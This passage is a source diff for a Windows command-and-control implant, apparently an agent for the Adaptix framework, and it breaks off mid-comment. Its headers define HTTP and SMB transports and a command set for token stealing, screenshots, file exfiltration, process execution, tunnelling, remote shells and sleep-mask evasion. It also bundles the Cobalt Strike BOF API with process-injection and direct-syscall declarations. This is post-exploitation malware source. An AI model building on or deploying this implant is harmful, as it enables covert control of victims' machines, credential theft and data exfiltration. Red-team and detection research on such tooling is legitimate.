|
||||
#define NAX_PIV_TYPE_DATA 0
|
||||
#define NAX_PIV_TYPE_UNLINK 1
|
||||
@@ -0,0 +1,12 @@
|
||||
/* beacon/include/Screenshot.h
|
||||
* GDI constants for desktop capture. */
|
||||
|
||||
#pragma once
|
||||
|
||||
/* SM_CXSCREEN = 0, SM_CYSCREEN = 1 (stable across all Windows versions) */
|
||||
#define NX_SM_CXSCREEN 0
|
||||
#define NX_SM_CYSCREEN 1
|
||||
/* ROP code: SRCCOPY = 0x00CC0020 */
|
||||
#define NX_SRCCOPY 0x00CC0020u
|
||||
/* DIB_RGB_COLORS = 0 */
|
||||
#define NX_DIB_RGB_COLORS 0
|
||||
@@ -0,0 +1,69 @@
|
||||
/* beacon/include/Transport.h
|
||||
* Common transport interface. Http.c and Smb.c both implement NAX_TRANSPORT_FN.
|
||||
* NaxSend is a compile-time alias - no runtime dispatch overhead.
|
||||
*
|
||||
* To add a new transport:
|
||||
* 1. Implement NAX_TRANSPORT_FN in src/Transport/YourTransport.c
|
||||
* 2. Add a NAX_TRANSPORT_* constant and case in the #if chain below
|
||||
* 3. Build with -DNAX_TRANSPORT_PROFILE=NAX_TRANSPORT_YOUR */
|
||||
|
||||
#pragma once
|
||||
#include "Instance.h"
|
||||
|
||||
/* ========= [ transport function type ] ========= */
|
||||
|
||||
/* All transports share this signature.
|
||||
* url_w : null-terminated wide URL (HTTP) or pipe path (SMB)
|
||||
* sid : 16-char hex session ID (used as HTTP header or pipe auth)
|
||||
* Returns NAX_OK on success, NAX_ERR_NET on any failure. */
|
||||
typedef INT (*NAX_TRANSPORT_FN)(
|
||||
PNAX_INSTANCE Nax,
|
||||
const PWCHAR url_w,
|
||||
const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len
|
||||
);
|
||||
|
||||
/* ========= [ compile-time profile selection ] ========= */
|
||||
|
||||
#define NAX_TRANSPORT_HTTP 0
|
||||
#define NAX_TRANSPORT_SMB 1 /* Phase 7 */
|
||||
|
||||
#ifndef NAX_TRANSPORT_PROFILE
|
||||
# define NAX_TRANSPORT_PROFILE NAX_TRANSPORT_HTTP
|
||||
#endif
|
||||
|
||||
/* ========= [ protocol declarations ] ========= */
|
||||
|
||||
FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len );
|
||||
|
||||
FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len );
|
||||
|
||||
FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len );
|
||||
|
||||
FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len );
|
||||
|
||||
/* ========= [ transport main loops ] ========= */
|
||||
|
||||
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax );
|
||||
FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax );
|
||||
|
||||
/* ========= [ NaxSend alias ] ========= */
|
||||
|
||||
#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_HTTP
|
||||
# define NaxSend NaxHttpPost
|
||||
# define NaxSendHeartbeat NaxHttpGetOrPost
|
||||
#elif NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB
|
||||
# define NaxSend NaxSmbPost
|
||||
# define NaxSendHeartbeat NaxSmbPost
|
||||
#else
|
||||
# error "Unknown NAX_TRANSPORT_PROFILE"
|
||||
#endif
|
||||
@@ -0,0 +1,9 @@
|
||||
/* beacon/include/WinApis.h
|
||||
* Forward declarations for Win32/CRT functions that lack proper prototypes
|
||||
* in the MinGW headers included by Instance.h. Enables D_API() usage
|
||||
* for all DLL function pointer struct fields. */
|
||||
|
||||
#pragma once
|
||||
|
||||
/* msvcrt.dll */
|
||||
int __cdecl printf( const char*, ... );
|
||||
@@ -0,0 +1,114 @@
|
||||
/* beacon/include/Wire.h
|
||||
* Wire-v0 protocol constants and NaxTask parse struct.
|
||||
* Must stay in lockstep with extender/agent_nonameax/pl_wire.go. */
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/* ========= [ message types ] ========= */
|
||||
#define NAX_WIRE_REGISTER 0x01u
|
||||
#define NAX_WIRE_HEARTBEAT 0x02u
|
||||
#define NAX_WIRE_RESULT 0x03u
|
||||
#define NAX_WIRE_NO_TASKS 0x80u
|
||||
#define NAX_WIRE_TASK 0x81u
|
||||
#define NAX_WIRE_PROFILE 0x82u
|
||||
|
||||
/* ========= [ command IDs ] ========= */
|
||||
#define NAX_CMD_WHOAMI 0x10u
|
||||
#define NAX_CMD_SLEEP 0x11u
|
||||
#define NAX_CMD_EXIT_THREAD 0x12u
|
||||
#define NAX_CMD_EXIT_PROCESS 0x13u
|
||||
#define NAX_CMD_CD 0x14u
|
||||
#define NAX_CMD_PWD 0x15u
|
||||
#define NAX_CMD_MKDIR 0x16u
|
||||
#define NAX_CMD_RMDIR 0x17u
|
||||
#define NAX_CMD_CAT 0x18u
|
||||
#define NAX_CMD_LS 0x19u
|
||||
#define NAX_CMD_BOF 0x20u
|
||||
#define NAX_CMD_SCREENSHOT 0x21u
|
||||
#define NAX_CMD_DOWNLOAD 0x22u
|
||||
#define NAX_CMD_PS_LIST 0x23u
|
||||
#define NAX_CMD_PS_KILL 0x24u
|
||||
#define NAX_CMD_PS_RUN 0x25u
|
||||
#define NAX_CMD_UPLOAD 0x26u
|
||||
#define NAX_CMD_RM 0x27u
|
||||
#define NAX_CMD_SAVEMEMORY 0x2Au
|
||||
#define NAX_CMD_CHUNKSIZE 0x2Bu
|
||||
|
||||
/* ========= [ download sub-commands ] ========= */
|
||||
#define NAX_DL_START 0x01u
|
||||
#define NAX_DL_CONTINUE 0x02u
|
||||
#define NAX_DL_FINISH 0x03u
|
||||
#define NAX_DL_CHUNK_DEFAULT 0x200000u /* 2 MB default */
|
||||
#define NAX_DL_CHUNK_MAX 0x400000u /* 4 MB hard cap */
|
||||
#define NAX_CMD_PROFILE 0x30u
|
||||
#define NAX_CMD_PIVOT_EXEC 0x37u
|
||||
#define NAX_CMD_LINK 0x38u
|
||||
#define NAX_CMD_UNLINK 0x39u
|
||||
#define NAX_CMD_JOB_LIST 0x28u
|
||||
#define NAX_CMD_JOB_KILL 0x29u
|
||||
#define NAX_CMD_BOF_STOMP 0x31u
|
||||
#define NAX_CMD_SLEEPMASK_SET 0x32u
|
||||
#define NAX_CMD_SLEEPOBF_CONFIG 0x33u
|
||||
#define NAX_CMD_TOKEN_GETUID 0x50u
|
||||
#define NAX_CMD_TOKEN_STEAL 0x51u
|
||||
#define NAX_CMD_TOKEN_USE 0x52u
|
||||
#define NAX_CMD_TOKEN_LIST 0x53u
|
||||
#define NAX_CMD_TOKEN_RM 0x54u
|
||||
#define NAX_CMD_TOKEN_REVERT 0x55u
|
||||
#define NAX_CMD_TOKEN_MAKE 0x56u
|
||||
#define NAX_CMD_TOKEN_PRIVS 0x57u
|
||||
#define NAX_CMD_DLL_NOTIFY_LIST 0x3Au
|
||||
#define NAX_CMD_DLL_NOTIFY_REMOVE 0x3Bu
|
||||
|
||||
/* ========= [ tunnel command IDs ] ========= */
|
||||
#define NAX_CMD_TUNNEL_CONNECT_TCP 0x3Eu
|
||||
#define NAX_CMD_TUNNEL_CONNECT_UDP 0x3Fu
|
||||
#define NAX_CMD_TUNNEL_WRITE_TCP 0x40u
|
||||
#define NAX_CMD_TUNNEL_WRITE_UDP 0x41u
|
||||
#define NAX_CMD_TUNNEL_CLOSE 0x42u
|
||||
#define NAX_CMD_TUNNEL_REVERSE 0x43u
|
||||
#define NAX_CMD_TUNNEL_ACCEPT 0x44u
|
||||
#define NAX_CMD_TUNNEL_PAUSE 0x45u
|
||||
#define NAX_CMD_TUNNEL_RESUME 0x46u
|
||||
|
||||
/* ========= [ shell command IDs ] ========= */
|
||||
#define NAX_CMD_SHELL_START 0x47u
|
||||
#define NAX_CMD_SHELL_WRITE 0x48u
|
||||
#define NAX_CMD_SHELL_CLOSE 0x49u
|
||||
|
||||
/* ========= [ job result types ] ========= */
|
||||
#define NAX_JOB_OUTPUT 0x01u
|
||||
#define NAX_JOB_COMPLETE 0x02u
|
||||
#define NAX_JOB_KILLED 0x03u
|
||||
|
||||
/* ========= [ arch identifiers ] ========= */
|
||||
#define NAX_ARCH_X64 0x01u
|
||||
#define NAX_ARCH_X86 0x02u
|
||||
|
||||
/* ========= [ result status codes ] ========= */
|
||||
#define NAX_STATUS_OK 0x00u
|
||||
#define NAX_STATUS_ERR 0x01u
|
||||
#define NAX_STATUS_ASYNC 0x10u
|
||||
#define NAX_STATUS_TUNNEL 0x20u
|
||||
|
||||
/* ========= [ frame header size ] ========= */
|
||||
/* Frame: type(1) | flags(1) | bodylen(4LE) = 6 bytes */
|
||||
#define NAX_FRAME_HDR 6
|
||||
|
||||
/* ========= [ error codes ] ========= */
|
||||
#define NAX_OK 0
|
||||
#define NAX_ERR_INVAL -1
|
||||
#define NAX_ERR_NOMEM -2
|
||||
#define NAX_ERR_CRYPTO -3
|
||||
#define NAX_ERR_NET -4
|
||||
#define NAX_ERR_WIRE -5
|
||||
#define NAX_ERR_FAIL -6
|
||||
|
||||
/* ========= [ parsed task ] ========= */
|
||||
typedef struct {
|
||||
UINT32 TaskId;
|
||||
BYTE CmdId;
|
||||
UINT32 ArgsLen;
|
||||
PBYTE Args; /* pointer into caller's buffer - not owned */
|
||||
} NAX_TASK;
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include "beacon.h"
|
||||
|
||||
#define CALLBACK_AX_SCREENSHOT 0x81
|
||||
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
|
||||
|
||||
void AxAddScreenshot(char* note, char* data, int len);
|
||||
|
||||
void AxDownloadMemory(char* filename, char* data, int len);
|
||||
@@ -0,0 +1,369 @@
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char* original; /* the original buffer [so we can free it] */
|
||||
char* buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size);
|
||||
char* BeaconDataPtr(datap* parser, int size);
|
||||
int BeaconDataInt(datap* parser);
|
||||
short BeaconDataShort(datap* parser);
|
||||
int BeaconDataLength(datap* parser);
|
||||
char* BeaconDataExtract(datap* parser, int* size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char* original; /* the original buffer [so we can free it] */
|
||||
char* buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz);
|
||||
void BeaconFormatReset(formatp* format);
|
||||
void BeaconFormatAppend(formatp* format, const char* text, int len);
|
||||
void BeaconFormatPrintf(formatp* format, const char* fmt, ...);
|
||||
char* BeaconFormatToString(formatp* format, int* size);
|
||||
void BeaconFormatFree(formatp* format);
|
||||
void BeaconFormatInt(formatp* format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
void BeaconOutput(int type, const char* data, int len);
|
||||
void BeaconPrintf(int type, const char* fmt, ...);
|
||||
|
||||
/* Token Functions */
|
||||
BOOL BeaconUseToken(HANDLE token);
|
||||
void BeaconRevertToken();
|
||||
BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length);
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
BOOL toWideChar(char* src, wchar_t* dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char* ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, * PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, * PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
} ALLOCATED_MEMORY_SECTION, * PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, * PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, * PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char* sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char* beacon_ptr;
|
||||
HEAP_RECORD* heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, * PBEACON_INFO;
|
||||
|
||||
BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
BOOL BeaconAddValue(const char* key, void* ptr);
|
||||
void* BeaconGetValue(const char* key);
|
||||
BOOL BeaconRemoveValue(const char* key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, * PDATA_STORE_OBJECT;
|
||||
|
||||
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
void BeaconDataStoreProtectItem(size_t index);
|
||||
void BeaconDataStoreUnprotectItem(size_t index);
|
||||
ULONG BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
char* BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, * PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
} SYSCALL_API, * PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, * PRTL_API;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PSYSCALL_API syscalls;
|
||||
PRTL_API rtls;
|
||||
} BEACON_SYSCALLS, * PBEACON_SYSCALLS;
|
||||
|
||||
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized);
|
||||
|
||||
///* Beacon System call functions which will use the current system call method */
|
||||
LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
BOOL BeaconCloseHandle(HANDLE object);
|
||||
BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
|
||||
BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData);
|
||||
BOOL BeaconUnregisterThreadCallback();
|
||||
void BeaconWakeup();
|
||||
HANDLE BeaconGetStopJobEvent();
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Print the .text section VirtualAddress (RVA) from a PE file as 8 hex chars."""
|
||||
import struct, sys
|
||||
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
f.seek(0x3C)
|
||||
pe_off = struct.unpack("<I", f.read(4))[0]
|
||||
|
||||
f.seek(pe_off + 4) # skip "PE\0\0"
|
||||
num_sections = struct.unpack("<HH", f.read(4))[1] # machine, num_sections
|
||||
f.read(12) # skip rest of COFF timestamps etc
|
||||
opt_size = struct.unpack("<H", f.read(2))[0]
|
||||
f.read(2) # characteristics
|
||||
|
||||
sec_table = pe_off + 4 + 20 + opt_size
|
||||
|
||||
for i in range(num_sections):
|
||||
f.seek(sec_table + i * 40)
|
||||
name = f.read(8).rstrip(b"\x00").decode("ascii", errors="replace")
|
||||
vsize, vaddr = struct.unpack("<II", f.read(8))
|
||||
if name == ".text":
|
||||
print(f"{vaddr:08x}")
|
||||
sys.exit(0)
|
||||
|
||||
print("ERROR: .text section not found", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
@@ -0,0 +1,291 @@
|
||||
/* beacon/src/Bof/Api.c
|
||||
* Beacon API implementations - BeaconOutput, BeaconDataParse/Int/Short/Length/Extract,
|
||||
* BeaconPrintf, BeaconIsAdmin, BeaconFormat*.
|
||||
*
|
||||
* All functions use G_INSTANCE to access NAX_INSTANCE via TEB ArbitraryUserPointer.
|
||||
* BeaconOutput accumulates output in NAX_INSTANCE.BofCtx.Buf (heap, BOF-lifetime only).
|
||||
* BeaconFormatAlloc allocates from the beacon heap; caller must call BeaconFormatFree. */
|
||||
|
||||
/* included by Loader.c (unity build) - headers already in scope */
|
||||
#ifndef _NAX_BOF_UNITY_BUILD_
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#endif /* _NAX_BOF_UNITY_BUILD_ */
|
||||
#include "Common.h"
|
||||
#include "Bof.h"
|
||||
|
||||
/* ========= [ output ] ========= */
|
||||
|
||||
FUNC VOID BeaconOutput( INT type, const CHAR* data, INT len ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || len <= 0 || !data ) return;
|
||||
|
||||
NAX_BOF_CTX* ctx = &Nax->BofCtx;
|
||||
if ( !ctx->Buf ) return;
|
||||
|
||||
/* Adaptix sends each BeaconOutput call as a separate message. We
|
||||
